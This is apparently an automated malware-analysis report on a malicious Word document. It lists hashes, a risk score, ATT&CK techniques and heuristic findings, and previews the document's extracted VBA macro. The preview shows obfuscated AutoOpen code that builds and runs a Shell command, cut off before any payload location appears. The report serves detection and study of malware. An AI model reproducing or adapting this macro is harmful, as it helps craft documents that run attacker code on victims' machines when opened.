Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51f80c09dad05a4b…

MALICIOUS

Office (OLE)

84.9 KB Created: 2018-09-20 07:36:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 7712b85f0097c63de36df039a1a98730 SHA-1: 95bc1c6dc9044d07e1e4d1d8c259af6184f12a59 SHA-256: 51f80c09dad05a4b53e7b0375ca30fdbd68e93fe5a0c8b4daba2d5ff60e728b4
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and appears to be obfuscated, suggesting an intent to download and execute a second-stage payload. The macro's obfuscation and the presence of the AutoOpen entry point are strong indicators of malicious intent, likely delivered via spearphishing.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15135 bytes
SHA-256: fa97cb7155aba569f6447e73cad44bcec13ef42a0eff9897f11b721fd4dca823
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zuvvQppOZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const RmhINSdiwir = 0
   Dim APkXQA(2)
APkXQA(0) = Left(zmjBoQI, 90) + Right(mQGrzAWb, 890) + Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
APkXQA(1) = Left(zmjBoQI, 90) + Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890) + Left(zmjBoQI, 90)
   Dim zOQvJ(2)
zOQvJ(0) = Mid(wsCNz, 364, 568) + Left(zmjBoQI, 90)
zOQvJ(1) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90) + Mid(wsCNz, 364, 568) + Mid(wsCNz, 364, 568)
   Dim XiwNE(3)
XiwNE(0) = MidB(liXJtPCi, 307, 478) + Right(mQGrzAWb, 890)
XiwNE(1) = Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478)
XiwNE(2) = MidB(liXJtPCi, 307, 478) + MidB(liXJtPCi, 307, 478) + Left(zmjBoQI, 90) + Left(zmjBoQI, 90)
   Dim bXrzz(2)
bXrzz(0) = Right(mQGrzAWb, 890) + Mid(wsCNz, 364, 568) + Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890)
bXrzz(1) = Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478) + Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
   Dim bwtUUO(5)
bwtUUO(0) = Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890)
bwtUUO(1) = Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890) + MidB(liXJtPCi, 307, 478)
bwtUUO(2) = Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
bwtUUO(3) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90)
bwtUUO(4) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478) + Mid(wsCNz, 364, 568)
   Dim JdZXM(5)
JdZXM(0) = Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478) + Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890)
JdZXM(1) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90)
JdZXM(2) = Left(zmjBoQI, 90) + Left(zmjBoQI, 90) + Left(zmjBoQI, 90) + Right(mQGrzAWb, 890)
JdZXM(3) = MidB(liXJtPCi, 307, 478) + Left(zmjBoQI, 90) + Left(zmjBoQI, 90) + Right(mQGrzAWb, 890)
JdZXM(4) = Right(mQGrzAWb, 890) + Mid(wsCNz, 364, 568) + Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
   Dim fBohh(2)
fBohh(0) = Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890) + Left(zmjBoQI, 90) + Left(zmjBoQI, 90)
fBohh(1) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90)
   Dim urmKXq(4)
urmKXq(0) = Left(zmjBoQI, 90) + Right(mQGrzAWb, 890)
urmKXq(1) = Mid(wsCNz, 364, 568) + Mid(wsCNz, 364, 568) + Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
urmKXq(2) = Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478)
urmKXq(3) = Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890)
   Dim vissoN(3)
vissoN(0) = MidB(liXJtPCi, 307, 478) + Mid(wsCNz, 364, 568)
vissoN(1) = Left(zmjBoQI, 90) + Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478) + MidB(liXJtPCi, 307, 478)
vissoN(2) = Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478)
   Dim XSiUk(5)
XSiUk(0) = Right(mQGrzAWb, 890) + Left(zmjBoQI, 90)
XSiUk(1) = Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890)
XSiUk(2) = Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890)
XSiUk(3) = Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890)
XSiUk(4) = Right(mQGrzAWb, 890) + MidB(liXJtPCi, 307, 478)
Shell@ GUhjBJbs + SJqQmFrHj + CrwGGts + zwwZXOYk, RmhINSdiwir
   Dim KpTjba(2)
KpTjba(0) = Right(mQGrzAWb, 890) + MidB(liXJtPCi, 307, 478)
KpTjba(1) = Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478) + MidB(liXJtPCi, 307, 478) + Left(zmjBoQI, 90)
   Dim pnknwu(2)
pnknwu(0) = Left(zmjBoQI, 90) + Right(mQGrzAWb, 890)
pnknwu(1) = MidB(liXJtPCi, 307, 478) + Right(mQGrzAWb, 890)
   Dim roAWH(2)
roAWH(0) = Left(zmjBoQI, 90) + MidB(liXJtPCi, 307, 478) + Mid(wsCNz, 364, 568) + MidB(liXJtPCi, 307, 478)
roAWH(1) = Left(zmjBoQI, 90) + Left(zmjBoQI, 90)
   Dim crdKzi(3)
crdKzi(0) = Right(mQGrzAWb, 890) + Mid(wsCNz, 364, 568)
crdKzi(1) = Mid(wsCNz, 364, 568) + Right(mQGrzAWb, 890) + Left(zmjBoQI, 90) + Right(mQGrzAWb, 890)
crdKzi(2) = MidB(liXJtPCi, 307, 478) + Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890) + Right(mQGrzAWb, 890)
End Sub


Attribute VB_Name = "DkjIMjIVf"
Function GUhjBJbs()
Dim rEPWir(4)
rEPWir(0) = MidB(liXJtPCi, 307, 478) + MidB(liXJtPCi, 307, 478)
rEPWir(1) = MidB(liXJtPCi, 307, 478) + Right(mQGrzAWb, 890) + Mid(ws
... (truncated)

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